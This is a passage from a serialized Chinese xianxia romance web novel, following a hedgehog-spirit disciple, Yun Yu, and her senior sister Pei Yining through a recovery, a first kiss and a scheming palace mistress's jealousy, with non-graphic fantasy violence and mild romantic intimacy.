不管怎么样,有问玉宫宫主做后盾,她亦知姐姐行踪,未来总有能相见的日子。 姐姐或许是有事,无法抽身。云榆想。 任务完成,问亦云无心多留,她的治愈能力极强,有心拖延的情况下,都能感知到伤口在自我愈合。 问亦云取茶时,云榆瞧见她掌心的绸缎,上面晕染出一点红点:“问姐姐,你手?” 她记得是来救她时受的伤,不免愧疚:“问姐姐,师姐医术高超,不如让她看看?” 她揪揪裴依宁的袖口,裴依宁道:“问宫主,我帮您探看一番?” 问亦云:“无需,小伤罢了。” 对于云榆改口之事,问亦云很满意:“比你姐姐乖巧多了。” 她需得走了:“姐姐要走了,下次,姐姐邀请你来问玉宫玩。” 云榆:“谢谢姐姐。” 苍焰宗的人也将于今日离开明越宗,问亦云临走前摸摸云榆的发顶:“你和这位师姐是什么关系?” 云榆被问住,在人前说出跟班之类的话,过于有损裴师姐的颜面了,她支支吾吾地:“师姐妹关系。” 裴依宁落落大方,溺着她:“听她的。” 似似而非,云榆总觉得哪里不对劲,可又说不上哪里不对。 问亦云多看了裴依宁两眼,身形晃动间,她与冉寻消失在洞府内。 云榆脸上的笑降下,虚弱无力地靠在裴依宁怀中,她面上与问亦云言笑晏晏,以姐妹相称,可对方的身份到底是没得到云樾证实。 她没有十成十的相信问亦云的话。 视线不由得落在桌上的那两份糕点,云榆伸手去碰。 裴依宁倾身去拿,解开外面的一层绳带,打开层层包裹的油纸,乳白色的糕点叠得工整,香浓的气息钻入鼻息。 她捻起一块放到云榆唇边,粉白的颗粒落在云榆下唇。 云榆咬了口,含在口中化了会,闭眼:“的确是姐姐的手艺。” 裴依宁看她,接着云榆适才咬过的位置含住一口。 女人精致的眉微微拢起。不可置信地看向手中糕点,又看向方桌上的那两叠,含在口中绵密的膏体咽下。 云榆被她的样子逗笑,偏着头低低地笑出声,眼底的光彩浓重几分:“是不是甜得发腻?” 裴依宁押口水:“还好。” 云榆低喃:“还能做糕点就好。” 她拉着裴依宁的手腕,小口小口地吞吃下去:“但我挺喜欢吃的。” 语落,她补充一句:“师姐不准做这么甜的。” 裴依宁:“……好。” 她就这样靠在裴依宁怀中,不起也不动,小嘴巴张张合合:“问玉宫宫主……姐姐真的和她结为道侣了吗?” 问玉宫宫主,能让苍焰宗和明越宗礼敬的存在,姐姐什么时候和她认识的。 洞府外的一处无人之地,问亦云红唇翘起:“她妹妹,是不是比她,有气息多了。” 冉寻不敢妄议,静听问亦云感慨。 问亦云拽住绸缎一端,眼神一狠,用力一抽,与绸缎黏在一起的血肉被强行掀起,愈合过半的伤口溃烂开。 只是看一眼就觉得疼,问亦云却是连眉心都没动一下。 冉寻看得心惊,急忙低下头:“宫主。” 问亦云自语:“你说,她看见了,会心疼本座吗?” 冉寻回答不出。 她妹妹成了那副模样,怎会有心思关注其她人,尤其还是面前的一位。 想归想,冉寻可没有胆量当着问亦云的面说出。 她道:“宫主,那位妹妹的情况需要与那位说吗?” 问亦云转动手腕,鲜红色的血迹覆满手掌,她不在意地独自欣赏:“她们日后总会相见,瞒不住的。况且,我这手伤……” 还没要到奖励呢。 冉寻:“那这件事如何与那位言明?” 问亦云念动,两人身形消失,再度出现时已是在明越宗十数里外:“自是推给苍焰宗的人。这件事本就是他们引起的。” 她自高处眺望,苍焰宗人正组队而行,明越宗前方的数座阵法已经准备就绪,正欲开启。 问亦云道:“死无对证的事,还要本座教你吗?” 冉寻了然,一张符纸扔出,她身形快如闪电,直奔苍焰宗人而去。 问亦云按住掌心,再一抬眼,眼底满是血色。 也算是将功折过了,问亦云有些头疼那时的迟疑。 明越宗内,裴依宁正替云榆温养身体,灵识内收到风浅念的传音。 【苍焰宗一瞬间消失了,有人比我们更早动手。】 在宗门外,为了防止苍焰宗接住符纸等物逃离,她们特意构建了一座好品阶的禁锢空间的阵法。 可阵法还没得及启动,苍焰宗人便不见了。 【他们死了。】 风浅念的传音于半分后传来,与之而来的,还有一道短暂的天幕。 一处陌生的境地,苍焰宗百余人被无数只利剑贯穿,随即一场天火降下,连半点烟灰都不剩。 这条天幕不仅投给了风浅念等人,亦是投给了苍焰宗长老与宗主。 而在天幕的最后,是两行文字。 【苍焰宗违反规则,伤及宫主,问玉宫依规则而罚。】 【如有对公允存疑,问玉宫大门时刻敞开。】 至于苍焰宗到底违反了什么规则,没有提及,到底是何人出手,天幕中仅出现了利剑和天火。 唯独那两行文字指明是问玉宫。 但苍焰宗怎敢去质疑问玉宫。 如今更是实力大伤,冒然去问,再被扣上一顶违反规则的帽子,他们去与何人说。 问玉宫本就是他们去找求的,如今搬起石头砸自己的脚。 云榆从裴依宁口中得知了这件事。 裴依宁陪在她身边:“问玉宫的人出手过快了。” 云榆认同地点点头,但这都不是她操心的事,后续的事,自会有人去处理,她当今唯一的事,是好好养身体。 拖着这幅病弱的身体,不能修炼是其一,不能尝到裴依宁的手艺,更让她揪心。 裴依宁弹她:“这个时候还想着吃?” 云榆:“吃乃妖之常情,师姐是在压迫我。妖族人即使受伤,也是不用忌口的。” 裴依宁掰了些云樾做的糕点填入她口中:“你现在是人形,就需按照人族的修养规则。” 见这样不行,为了自己的口腹之欲,云榆决定使出杀手锏,憋着气地将脸闷红,委屈巴巴地凑上去,微微垂着头,抓住裴依宁腰间的束带,左右晃动。 “师姐,求你了。”云榆自觉豁出去了,平日里,她人形是哪里敢对裴依宁做这种动作,“师姐,你最好了。” 裴依宁面带笑意地:“云师妹,修行之人,要有自制力。” 云榆:“没有。” 她一字一顿:“我没有。” 裴依宁轻笑:“为了吃,连这种话都能说出来了吗?” 云榆一本正经地绷紧脸:“小跟班,我要。” 裴依宁:“方才在问宫主面前,怎么不那般说。” 云榆没好气地看她一眼。 不给就不给,循规蹈矩的裴依宁,只知道克扣她的口食,等她好了,她就离开这里。 不对,她受伤了,怎么住到了裴依宁这里,理应在灵丹堂的某处殿内宿着才对。 莫名想到问亦云临行前的问话,她总觉得怪怪的,可究其根本,却找不到哪里奇怪。 好像又是正常的。 见她不说话,裴依宁当她是真的生气了,捏捏某只小妖的脸,有心引得她说话:“也不是不能吃。” 云榆果真被勾起兴趣。 裴依宁低叹,什么时候,某只小妖能把在吃上面的心思分点到别的地方,也不至于这般榆木不开窍。 只几面之缘的问亦云都能看出。 裴依宁轻轻捏住云榆的下巴,迫使对方头抬起,她指腹下滑,云榆的唇被动打开,一粒蓝紫色的物体滚入她的口中。 云榆下意识用舌头一压,酸甜味卷满口腔。 云榆眨眨眼:“还要。” 裴依宁又投喂了她几粒。 保持一个姿势总是不好的,裴依宁轻轻揽住云榆,将人打横抱起。 突然将凌空的云榆圈住裴依宁的脖颈,慢半拍知晓对方在做什么,有了点血色的脸上满是羞意。 裴师姐就这么不声不响地将她抱了起来。 云榆手指不自觉地蜷缩起来,一头扎进裴依宁的怀中,不去与她对视。 短短几步的距离,云榆却觉漫长无比,这几步间,足够她将和裴依宁过往发生的一切快速游走一遍。 但当裴依宁将她放下后,云榆不知怎得,生出不舍的情绪。 就这样结束了。 她被抱到床上,裴依宁捞了个枕头垫在她腰身下,纤长灵活发手指勾动云榆腰间的束带。 云榆警惕地按住腰身,喉咙咽动:“师姐,你……做什么?” 裴依宁疑惑地看她一眼:“不把外衫。脱去吗?还是说,你打算就这么躺在床上,如果你愿意的话,当然也可以。” 说完,她真的收回手,掐了个指诀,给云榆使了个净身术。 被解释过的云榆心头更虚了,找不到缘由地心虚,她放松,低着声:“那……劳烦师姐帮我。” 说完,她反应到,不对,她明明可以自己脱的,虽然很慢,但也不至于需要人帮忙啊。 然,腰间的束带在胡思乱想之际被抽开,云榆赶忙低下头,耳尖红得要滴血。 她悄悄分出余光去打量正在为她脱去外衫的女子,裴依宁满脸认真,与平日的神情无二异,真的只是小跟班在尽责地帮助受伤的她。 云榆心跳如麻,无从寻找这份乱麻从何而来。 “星星,腰抬一下。”裴依宁的声音自上方传来。 云榆“哦”了声,听话地抬腰。 过于听话了,裴依宁克制着纷乱的念想,将云榆的外衫放好。 反身回去,给云榆倒了杯温水,又取了块问亦云带来的糕点给云榆。 虽然很甜,但云榆吃得很开心,跟个小仓鼠似的,两边脸颊一鼓一鼓的。 不能说她是仓鼠,明明是小刺猬。 要是被某只妖知道她心中所想,又要变回小刺猬,给她展示一顿拳脚了。 那次小刺猬跳到她鞋面上,一拳拳打在她衣衫上的画面浮现。 可爱。 裴依宁弯弯唇。 吃得欢快的人浑然不觉,不多时,半块糕点已然进度,云榆被甜住:“师姐,想喝水。” 裴依宁端着那捧温水给她,但见她一手一块的糕点,别开她的手臂,直直地递到某只小妖的唇边。 云榆牙磕在杯沿,歪头缩着身地去喝。 裴依宁怀疑被子下的身子已经扭曲地不成样子了。 喝得有些费劲,洒的水没有进的多,裴依宁小臂抬起,收回杯子。 云榆不明所以地跟了些距离。 裴依宁坐在床边,刮去她唇边,下巴处的水渍,指尖一弯,点上她柔软的唇。 许是意识还没清醒,云榆自认为。裴依宁这番动作戏耍到。 在裴依宁的手指落在她唇上时,她张口咬住女子的手,含住一个指节,舌尖吻在裴依宁的指尖,眼神上瞟,似在宣誓自己的地位。 指尖的肌肤过于柔软,过于温热,热度和湿度让她忘记及时抽回手指。 失神地望着得意洋洋的小妖。 云榆被她这幅样子取悦到,牙齿带了点力,含含糊糊,语调不清:“疼吗?” 不疼的。裴依宁在心里回答。 她腾出另只手,卡住云榆的喉咙,虎口向上一抵,云榆喉咙一动,迫不得已张口。 泛着水光的手指在同样水光涟漪的唇上滑动,畅通无阻。 裴依宁收回手,垂下头,额头相抵,鼻尖黏上云榆的鼻尖,不过几公分的距离。 作者有话说: 来啦 第69章 第六十九章[VIP] 视野被遮蔽, 只有感知被充分调起,云榆五指扣在身下,指骨泛起一层白意,细小的青筋根根裂出。 抿唇的微末间, 她的唇似乎触碰到裴依宁的唇, 温热的呼吸肉眼可见的加剧,滚烫异常。 某个瞬间, 她停止了呼吸, 紧张地睁着眼,却也一句话都说不出。 太近了, 真的太近了。 说一句话,两唇便能碰在一起的程度。 她的脸颊被裴依宁双手捧住, 下颚处被两根拇指指腹卡住,动弹不得。 “师……师姐。”云榆唇动了动,吐出一句气音,她身体不受控制地绷着,眼尾被这种气氛挑出一抹红意。 裴依宁:“嗯?” 微调上扬, 带着勾妖心魄的能力, 不论是有意还是无意的扬调, 都让云榆心软成一滩春水。 裴依宁卡着云榆的掌垂落, 腕部落在云榆的肩膀上, 慵懒异常, 散漫无端。 云榆参悟不了裴依宁的意思,猜测不出裴依宁下一步的举动, 她就这么僵持着。 人形的本能让她感觉很羞涩, 理智却让她定在那,受尽由裴依宁引起的心跳加速。 慢慢的, 她好像适应了这种不对劲的氛围,呼吸变得平缓有度,只是胸膛内,依旧跳动不已。 云榆轻轻问:“师姐,我们……” 裴依宁重重闭上眼,低声道:“还难受吗?” 是内伤难受,还是维持着这种姿势难受。 云榆分不清:“不难受。” 裴依宁柔声哄着她:“会不喜欢师姐这样靠近吗?” 云榆:“喜欢……” 裴依宁以额头抵了她两下,稍稍歪过头:“星星,可以吗?” 云榆缓而慢地眨下眼,感知着靠得越来越近的唇瓣,她不受控制地圈住裴依宁的脖颈,额头蹭了蹭,细若蚊蝇地:“嗯……” 她不反感裴依宁的靠近,甚至,有点欢喜于这人的靠近。 在她出声的下一秒,上唇被一片柔软含住,她从未在任何食物上感受到的柔软。 细腻的,绵软的…… 云榆猝然间睁大眼,圈紧裴依宁的脖颈。 她的上唇被珍重地含住,而后是下唇,浅尝辄止地含住。 不过短短几息。 云榆石化的意识复苏时,裴依宁已经放开了她,她眼睁睁地看着裴依宁那张精致温和的面容一点点在瞳孔中变小。 最后定格在某个大小上。 下一秒,她的唇上又覆盖上一层柔软,不及先前的柔软。 这次是裴依宁的手指。 裴依宁怜惜地抚过她水光潋滟的唇,眼底闪过一丝懊恼。 有点早了,不知云榆是否能接受。 她压下冒出的忧虑:“星星,要喝水吗?” 云榆茫然地望向裴依宁的唇,同样泛着淡淡的水光,红润的,尝起来,似有淡淡的甜。 是先前吃过的那点糕点留下的香甜。 云榆垂下眼眸,拉过被子盖好,两只手搅和着被面,偏生此刻有种让裴依宁停留在她身边的冲动。 倒水也好,做什么也罢,都带着她一起。 心脏撞击着胸口,云榆拉住被子,蒙住大半张脸,只露两只眼睛:“我不想,不想喝水。” 羞于继续开口,短短几个字已然耗尽她绝大部分的羞耻心。 她刚刚是和师姐亲了吗? 姐姐曾经和她说过,只能和很亲密的人亲。 那时她天真的问姐姐,是不是她们也可以亲亲。 姐姐笑着碰了下她的额头,而后点了下她的唇:“只有很亲密很亲密的人,才能亲你这里。代表你认可和她的亲密关系,并会延续这种亲密关系。” 她和师姐亲了,是不是说明,她和裴师姐现在是很亲密的关系,并在未来很长的一段时间内,都会延续这种亲密的关系。 云榆小心翼翼地去看裴依宁。 师姐会愿意和她延续这种亲密的关系吗?还是说,人族面对所有人都可以这样亲亲呢? 裴依宁半蹲下身,床上人明显在失神地想着什么,一双漆黑的眸子一刻不错地落在她的唇上,表情转换不断,直到最后,转化成浓重的忧虑。 裴依宁撑着双膝,怕唐突的举动吓到未经世事,天真懵懂的小妖:“星星在想什么?” 云榆被勾引回神,抿抿唇:“师姐以前和别人这么亲过吗?” 裴依宁摇头:“没有。” 云榆又问:“以后呢?” 裴依宁道:“只和你这般过。” 云榆垂头丧气,师姐避开了她的问题,一定是未来还会和别人这样。 师姐欺骗小妖的亲密。 却在这时,裴依宁往前了些:“以后,也只和你这般,”她停顿数秒,“如果星星愿意的话。” 扪心自问,她是想和裴依宁维持这种亲密关系的。 她们早已很亲密了。 从裴依宁当她小跟班的那刻起。 云榆点头:“本星星愿意和你保持亲密关系。” “亲密关系?”裴依宁低声呢喃,忽而觉得某只妖理解的与她理解的不一样,“什么亲密关系?” 云榆理所当然地:“如现在这般的亲密关系。” 裴依宁怔愣住,无可奈何地笑出声,她果真不能对这根榆木抱有多大的幻想。 抱都抱了,亲也亲了,同床共枕过,到某只妖那里,不过是一种亲密关系的体现。 算了,也算进了一步,为防范于未然,裴依宁蹲在云榆床边,仰头看她:“星星会与其她人或妖保持这种亲密关系吗?” “不可以。”云榆尚未回答,裴依宁的下一句话已然到了,“不可以和其她人或妖做这种亲密的事,知道吗?” 本就不会和其她人做。 姐姐说过,这种事只能和一人或一妖做。 云榆重重点头:“知道。” 她应得飞快,裴依宁眉眼间染上一点笑意,总归是开了窍的。 她起身揉揉云榆的发顶,端起一侧的水杯,押了几口水,末了,她问:“星星确定不喝吗?” 云榆摇头:“不喝。” 她侧脸压着被子,脸颊绯红,一瞬不瞬地看着裴依宁,暧昧的气氛过后,云榆有些不自然地缩回被子中。 于黑暗中,她抚上自己的唇一下下地来回。 被子不断地变化形状,可见内里藏着的人亦是在不断变化千奇百怪的姿态。 裴依宁看得好笑,放下水杯,弯身,拍拍被子:“今晚再吃一顿药粥,明日再给你做别的食物,好不好。” 被子被掀开一角,云榆竟是从被子的另一头钻出来。 裴依宁不得不调转脚步,往床尾挪去:“嗯?” 云榆竖起一根手指:“最后一顿?” 裴依宁:“最后一顿。” “不骗我?” “不骗你。” 云榆:“好吧,师姐,我想洗澡。” 总是用净身术,身上都沾不到水,总觉得身上脏脏的。 只要不是太大动作,只是碰个水,应该不会有太大的影响。 裴依宁眉梢一抬:“吃完饭,再洗,我去煮粥,你在这等师姐。” 其实不过十数步外。 云榆稍一抬眼,就能看见她,而她亦是稍一回头,就能看见云榆。 很好的位置。 云榆默默地爬回床头,拿过枕头垫在身后,靠坐着,一副监督的模样。 裴依宁莞尔,捏了捏她的脸颊。 本想再亲一下的,可某只小妖太过单纯,裴依宁有种趁妖之危的错觉。 不多时,烟火气起。 灵力将烟火气控制在一方小空间内,云榆闻不到气息,只瞧得袅袅升起的烟气。 也可以不满足了。 分明一开始只能趁夜偷偷去膳食堂吃快无灵气的药材,现在能吃上药粥,她已不满足,还想吃更多的食物。 裴师姐和姐姐一样,总是惯着她。 但裴师姐会和姐姐一样,不声不响地离开吗? 云榆心哽了下。 不知道姐姐什么时候才会见她,姐姐一定是有什么难言之隐才不能回来的。 现在最起码知道了姐姐在哪。 在问玉宫内。 一座座全由白玉打造而成的宫殿内,阳光穿行过无尽的长廊,金忙落在花草树叶上,一汪流水翩然而过。 高墙白玉内,一白衣女子立于一张画前,细长的手指捻着白玉杆,杆头是一撮不知什么灵兽的毛发编成的笔头。 艳丽的笔头抹上一簇石青,缀在山崖的边缘。 时光静谧,金芒为眼前景镀上一层同色的光晕。 白衣女子取了藤黄色,勾在花蕊之上。 忽而,女人笔尖停住,她向后几步,于偏远处欣赏画作。 复又回到原处,笔杆在水中沾过,黏在上方的色彩被洗去。 平缓但明显听得出主人急促的脚步声自身后而来,白衣女子长睫颤动,点了抹花青描绘其中的波纹。 “云樾,”问亦云的声音自身后而来,“我回来了。” 云樾画作的笔停留片刻:“如何?” 问亦云黯下声:“我手受伤了。” 云樾淡淡地喊与她一同前往明越宗的人:“冉寻。” 冉寻头皮发麻,不得不上前,硬着头皮道:“已将糕点送至云榆小友手中。” 云樾转身,这才分出余光给问亦云那只血肉模糊,鲜血四溢的手:“继续说。” 冉寻头越低越狠:“云榆小友,她受伤了。” 她将当时发生的事情简而概之,有意忽略了问亦云晚出手的事。 身前迟迟没有回话,冉寻不敢继续言说。 分明与她无关的事,让此刻的她站立难安。 仿佛过去了无尽岁月,云樾:“你下去吧,好好休息。” 冉寻如释重负:“是。” 云樾对她们这些人总是教养有佳,不,是对问玉宫除宫主外的人,都这般有礼。 冉寻后退着离开,留给宫主背影一个自求多福的眼神。 此地只剩下她们二人,问亦云凑近,那只不忍直视的掌凑到云樾身前,委屈巴巴的调子起:“云樾,你看,好疼。” 云樾只是瞧着她,眼底的温度一如每次看见她时的漠然。 依旧冷冰冰,依旧对她视而不见。 云樾弯下唇:“问亦云。” 她捻起笔杆,笔尖的毛发肆无忌惮地舔在问亦云的伤口上,笔毛吸满猩红液体。 云樾对着一朵鲜红的花朵施加重色:“你可真是个混账东西啊。” 最后一笔落下,白玉笔杆断裂,叮叮咚咚地掉在地上碎成几截。 云樾弯身,捡起一截裂口尖锐的,朝着问亦云扫了眼。 后者自觉地靠近。 笔杆尖端毫不迟疑地刺穿她的心脏,云樾五指合拢拔出。 鲜血喷洒,一瞬止息。 伤口自动愈合。 问亦云没有管这次的愈合速度,甩甩手,掌心的伤亦是飞速愈合,眨眼间完好无损,她叹息:“总是瞒不过你。” 问亦云去拉她的手,被云樾习以为常地躲过,她也不恼,自知自己做错:“她性命无忧,你放心便是。” 云樾:“她本可以不用受伤的。” 她何其了解问亦云的能力,能撑的起这么大的问玉宫,凌驾于一众势力之上。若是有心护着,云榆怎么可能会受伤。 哪怕是冉寻的实力,都不可能让云榆受伤。但两人皆在场的情况下,她妹妹出现重伤至到本体,其中若说没有问亦云的原因,云樾万不可能信的。 问亦云果真不能靠近云榆。 这条早已定下的铁律,从不应该因为任何原因,为问亦云打破。 云樾:“请你,滚出我的视线范围。” 问亦云憋着的那股嫉妒被轻飘飘的几句话勾起,她拉住云樾的手腕,半举起对方的手指头侧,一步步逼近。 可最后,她还是松开云樾,吐出积压的气,实话实说地承认:“是啊,我本意是想看着她死……” 脸颊上被不轻不重地扇了一巴掌,问亦云脸侧过去,她语调只停顿了一瞬,便接着道:“我当然会嫉妒她,只是因为和你有着一层血缘纽带,就足以吸引你全部的注意力。” “而我,”问亦云胸膛起伏,“算了,不说这个了。”她牵住云樾扇她的手,轻轻揉捏,“打疼了吗?” 她勾过附近的石椅,拉着云樾坐下,自己缓缓跪在白衣女人面前,脸颊贴在云樾的腿上:“你肯留在我身边,想对我做什么都行。” 她说:“以后不会出现这种事了。”她笑了笑,“我私下与你妹妹接触了,她喊我姐姐,还让我多担待你的脾性。” 云樾眸色发冷。 问亦云带着云樾的手抚摸着自己的下颚,仿佛是云樾在主动摸她:“我和她说,你在我这里了,让她放心。” 她掐了个指诀,一道虚影出现。 赫然是裴依宁将化成小刺猬的云榆捧起来的画面。 “这人是明越宗灵丹堂的大师姐,裴依宁,”问亦云讨赏似地,“她对云妹妹很关心,云妹妹也很黏她,两人似乎总在一起。” 云樾的目光因这句话抬起,落在虚影上的人影中,半晌,她道:“她素来怕疼,小时候磕碰都能在我面前哭上半天。” 她捏住问亦云的下巴,将人抬起,一点点滑落到问亦云的脖颈,顺着颈部动脉来回滑动:“你可真是该死啊。” 问亦云道:“我知道,那我的奖励还有吗?” 她站起,就着这个姿势坐到云榆的腿上:“我护住了她的性命,替你送到了东西,带回了她的近况。” 问亦云问:“没有奖励吗?” 她又说:“没有奖励,惩罚也可以。” “弄死我,或者是,你想怎样都可以。” 毕竟,有时候,惩罚也是奖励。 * 云榆裹着被子等裴依宁将药粥端到她面前。 再一次感概裴依宁的手艺过好,许是这是最后一顿药粥了,她吃得津津有味。 不知是不是进展到亲密关系了,人形的她对裴依宁少了许多顾虑,多了几分亲近之感。 面对裴依宁手把手的投喂,没了那么大的反抗之心。 未了,她还主动拽住女人离去的衣角:“师姐,这是最后一顿了。” 面对这妖时时刻刻的提醒,裴依宁道:“嗯,是,最后一顿,我记住了。” 云榆这才满意地放她离去。 等裴依宁去收拾碗筷,云榆左右摆动,化成了小刺猬,被子下瞬间空了下去,坍陷一大半。 裴依宁回来时,心头一慌,当是云榆背着她跑出去了,可转念一想,她只是洗了个碗筷,石门未开,云榆的气息还停留在洞府内。 她半信半疑地掀开被子。 果不其然,一只小刺猬正趴在床上,脊背上的刺一耸一耸的。 察觉到凉风气,小刺猬懒懒地翻过身,四肢摊开,小肚子毫不避讳地露出来:“是不是以为我出去了。” 小刺猬洋洋得意:“笨蛋裴依宁。” 也不怕被压坏了,裴依宁换了床小刺猬专属的小被子给她盖上。 见到小刺猬的本体,裴依宁想起一件极为重要的事情。 当时在比试台上,云榆被打回刺猬本体,许多人都已看见。 苍焰宗的那群人皆已无,剩余知晓此事的都是同宗师姐妹们。 但云榆一直不肯以本体在人前露面,如今她是妖族人的身份定然是瞒不住了。 裴依宁思索一二,选择告知这件事:“星星,小跟班有件事想跟你说。” 云榆“嗯”了声,小幅度地挥挥爪子:“说吧。” 裴依宁道:“你是妖族的事情,许是被很多人知晓了。” 小刺猬四肢缩回肚子周围。 裴依宁道:“昨日比试台上,你恢复本体……”她安慰小刺猬,“没关系的,都是同宗师姐妹,不会传到外面的。” 小刺猬殃殃的:“……” 裴依宁问:“星星是有什么顾虑吗?可以跟师姐说说。” 小刺猬侧过身体,整个身体都缩成了一团,嘀嘀咕咕地:“以后,除了你和杜师姐,不会有人和星星玩了。” 裴依宁心疼:“不会的,星星不要多想。” 小刺猬吸吸鼻子,隐隐有哭腔:“人族不会喜欢妖族的。” 幼时的遭遇让她不敢去赌,关系再好,她也不敢以本体现身。 即便在宗门内受到师姐们无数的好意,可那都是基于人形的她。 对小刺猬好的,只有裴依宁和杜师姐。 “我喜欢你。”裴依宁小心地将小刺猬碰到手心,“宗门师姐妹们也会很喜欢你。她们从来不会因为你是什么妖族而疏远你。” 她哄着情绪低落的小刺猬:“宗门内,不只你一只小妖,也不只妖族,人族修士,还有魔族修士。” 小刺猬闷闷地:“宗门收她族,但门下弟子不一定都能接受她族……” 裴依宁笑笑:“怎么会,不接受怎么会让你们拜入宗门,更何况小刺猬这么可爱。” 小刺猬:“真的?” 裴依宁为了让她安心,笑道:“是啊,而且,这在宗门应该不算是秘密。” 小刺猬偷偷探出小脑袋,疑惑地望着她。 裴依宁道:“嗯……浅念和原师姐知道,第一次出宗历练时,镇守宗门的同门也知晓。而且,在遗迹中,我便说过,种族平等,阵灵阁的大师姐,也就是宗主的亲传弟子,她就是魔族人。这些事,宗门内人尽皆知。” 小刺猬慢慢地摊开身体。 宗门知晓她本体的人,的确没有对她传递出任何恶意之处。 “还有这些人,她们都过来看望你了,只是当时你还在昏迷中。”裴依宁手一挥,天幕出现。 卞凝,应滟以及其她算是相熟的同门。 云榆看着她们对床上小刺猬的心疼关心和对苍焰宗人的愤恨。 没有一丝对妖族的反感。 “怕打扰到你休息,她们没留多久就走了。我原本打算等你再好点同你说的。”天幕消失,裴依宁揉着小刺猬的肚子,笑道,“你杜师姐不久前传音给我询问你的情况。她说担心扰到你恢复,又担心你灵识受不了传音,就传给我,等几日你恢复得差不多了,再来看你。” 裴依宁:“星星,每个种群都有心思坏的,人族也不例外。但在这里,你永远不用因为你非人族而害怕忧虑,师姐妹们从不会在意这点。” 小刺猬这几日眼睛总是红红的,她伏在裴依宁掌心,分明因同门情谊而感动,可还是嘴硬地:“早知道,就早点以刺猬形出现了。现在第一面就在师姐妹面前被打回本体,跌面。” 裴依宁道:“那怎么办?等伤养好了,星星在她们面前多展示自己的厉害之处?” 某只小刺猬傲娇:“那还要你说。”她声音不知不觉降下来,“还是有点担心。” 裴依宁拍拍她:“没关系的。” 小刺猬叹息声,示意裴依宁将她放回床上。 随即,她摇身一变,幻化成人形,晶亮的眸子对上面前的女人:“我想洗洗。” 裴依宁弯下腰:“你身子不方便,我帮你洗,好不好?” 云榆正欲拒绝,裴依宁禁锢住她摇动的头,指腹自然而然地点在她的唇上:“以我们这样的亲密关系,可以吗,星星?” 作者有话说: 裴师姐:我们这么亲密的关系,可以吗? 星星:嗯……嗯? 第70章 第七十章[VIP] 以她们这般亲密的关系。 云榆稍有转不过弯, 她两边下颌被裴依宁卡住,动弹不得,偏生女人还将一只手指吻在了她的唇上。 女人蛊惑的话荡在耳边:“星星,可好?” 鬼使神差地, 云榆从鼻腔中哼出一个简短的“好”字。 如此, 便是同意了。 裴依宁好心情地挠挠她的下巴,单膝跪在床面, 腰间束带被云榆不老实地攥住, 一拉,便能拽下来。 她等了等, 可云榆只是盯着那双无辜而又水汪汪的眸子,仰头注视她。 有那么一瞬间, 裴依宁觉得自己是在欺负云榆,身为云榆的师姐,却这般欺负人。 裴依宁勾上云榆的尾指:“要师姐抱你过去吗?”以身相贴的亲密感着实让人念念不忘,“就像方才抱你那般。” 云榆反应了几秒,一截截地松开裴依宁腰间束带, 纤长的指撑着床面, 歪歪扭扭地扶着周围能触碰到的物体, 包括裴依宁。 最后捞着裴依宁的小臂, 勉强下了床:“师姐, 我自己可以的。” 她小幅度地挪动身体, 内伤造成的影响缩小许多,磨磨蹭蹭走了十数步, 再一回头, 身后人女人不过与她相差数米之遥。 她这十数步迈得太小了,但云榆丝毫不急, 对着身后女人歪头:“师姐,你不应该先去准备吗?” 不是说要帮她洗吗? 她都已经答应了,为何师姐还站在原地不动。 莫不是反悔了。 裴依宁几步上前,扶住云榆的小臂,眉宇间含着打趣:“以你这个速度,许是水放凉了,你还没到。” 云榆没好气地捶了下她:“怎会,师姐就会取笑我。” 为了证明般,她不禁加大脚步,引得身侧人急急拽住她的胳膊,蹙眉道:“不急,别牵到内伤,不然又要疼了。” 裴依宁道:“还是说,星星想要拖着不让伤好,好逃避每日的修炼,看来等你好后,我得去和杜师妹说说。” 云榆脸色一变:“师姐果真不是好的。” 裴依宁安然接受她这句评价,终究是觉得云榆这般走着太慢,也不安全。 她弯腰,一手圈住云榆的腰身,另只手搭在云榆的腿弯处,臂膀带力,毫不费力地将内伤不便的人抱起。 一回生,二回熟,云榆虽仍有不好意思,倒也没拒绝,侧脸靠在裴依宁的胸口。 不知是不是错觉,她总感觉裴依宁的心跳声有些快,有些大。 “砰砰”地。 云榆好奇地贴近耳朵。 有了裴依宁的帮助,不过几个呼吸间,她被带到了开辟出,以作平日洗漱的室内。 裴依宁小心翼翼地将人放下,以灵力构建出一方适合云榆大小及高度的圆柱形桶状物。 一条水流凭空出现,萦绕着一层不明显的,雾蒙蒙的灵气,是灵丹堂那条蓄满灵气的河流中的水。 水没入桶内约莫三分之二的高度,裴依宁调动灵力,火属性包裹住水流。 仅仅几秒之间,原是温凉的液体变得温热。 裴依宁伸手测试过水温,余光瞥见某只小妖扒着圆桶,探头探脑的捧起一叠水,泼向桶的对面。 浸湿了另一端的桶沿。 怎么会这般调皮。 裴依宁好笑地揪住那只不老实的小妖的后颈,提了提,不及小刺猬那般容易提起来。 云榆扭过头,理所当然地抬起下巴,警惕道:“作何?” 裴依宁指指她身上的衣衫:“要师姐帮忙吗?” 云榆缓而慢地眨眼眼睛,慢一拍地意识到裴依宁话中的意思,她勾起系在腰间的浅蓝色束带,两手分别牵住。 忽地,她抬眼看向面前的人,生出几分羞涩的犹豫。 旋即,她一咬牙,眼一闭,扯下那条束带。 衣衫洋洋洒洒地垂落而下。 裴依宁垂下眼眸。 云榆喉咙滚动,薄唇紧紧抿在一起,一点点褪去外衫。 里面是一层白色的里衣。 她眼神逃避地没有落点,扭捏着面对圆桶。 桶内倒映的虚影显现出她此刻的模样。 肉眼可见的,寸寸肌肤都是红的。 身后窸窸窣窣的有响动,云榆当是裴依宁靠近了,下意识转头,却见女人背过去的身影。 不用当着师姐的面,她松了口气。 三下五除二地褪去最后的衣衫,云榆一脚踩入水中,包罗万象的水流瞬间将她吞并。她缓缓下蹲,只留个小脑袋在外面。 水太过清澈,起不到遮掩的作用,云榆像小刺猬般缩成一团,抱住自己。 然,下一秒,水面浮现无尽的花瓣,玫红色的叶片覆盖住水面,极好地遮挡住了水下的身体。 她不由得望向仍旧背对着她的女人。 师姐将她可能的顾虑都想到了。 她:“师姐,我好了……” 话语还是有着不可忽视的羞意,裴依宁指尖蜷缩,又等了几个呼吸才是转过身。 云榆发顶顶着一片艳丽的花瓣,她抬起手臂,淅淅沥沥的水流滚落,一片片花瓣黏连在她的肌肤上。 极致的白与红交织在一起,朦朦胧胧的美最是吸引人。 裴依宁闭眼,默念心法口诀,隐隐躁动的心思被强行按压下去。 待到心态平复,她缓步来到圆桶前,掌心没入手中,捧起一掌水自上淋到云榆臂膀。 水流在落下的过程中变凉,打在肌肤上痒痒的,云榆捞起水,浸润在温热中。 